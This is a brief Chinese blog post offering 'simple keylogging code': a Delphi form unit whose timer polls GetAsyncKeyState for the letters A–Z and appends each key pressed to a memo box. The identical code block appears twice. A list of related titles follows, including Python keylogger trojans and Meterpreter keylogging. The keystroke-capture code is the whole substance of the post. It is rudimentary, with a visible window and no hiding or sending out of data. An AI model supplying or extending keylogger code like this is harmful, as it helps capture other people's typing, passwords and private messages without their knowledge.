键盘记录
2007-06-01 11:18
246 查看
键盘记录简单代码
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls;
type
TForm1 = class(TForm)
Timer1: TTimer;
Memo1: TMemo;
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Timer1Timer(Sender: TObject);
var
i: integer;
begin
for i:=65 To 90 do
begin
if (GetAsyncKeyState(i)=-32767) then
if (i>=65) and (i<=90) then
memo1.Text:=memo1.Text+Char(i);
end;
end;
end.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls;
type
TForm1 = class(TForm)
Timer1: TTimer;
Memo1: TMemo;
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Timer1Timer(Sender: TObject);
var
i: integer;
begin
for i:=65 To 90 do
begin
if (GetAsyncKeyState(i)=-32767) then
if (i>=65) and (i<=90) then
memo1.Text:=memo1.Text+Char(i);
end;
end;
end.
相关文章推荐
- linux下的键盘记录
- UITextField 对键盘一些常用属性 记录一下
- C# WinIo获取键盘记录
- Python:监控键盘输入、鼠标操作,并将捕获到的信息记录到文件中
- 对驱动型键盘记录程序Klog的修改
- meterpreter获取系统信息和键盘记录
- 键盘记录及自动发送VC++实现
- 全键盘Vimium快捷键学习记录
- 键盘记录工具(支持中文)
- 最近遇到键盘钩子,在这记录下点东西,供以后查阅 lParam
- 键盘记录支持中文
- vc++实现Inline hook KeyboardClassServiceCallback实现键盘记录
- 钩子函数和键盘记录
- [科普]为什么360会报键盘记录
- 初试Hook与键盘记录程序
- Python自制键盘记录木马!
- 全键盘Vimium快捷键学习记录
- C#查询系统运行进程,关闭进程,记录键盘按键记录
- linux下的键盘记录
- 键盘记录及自动发送VC++实现(上)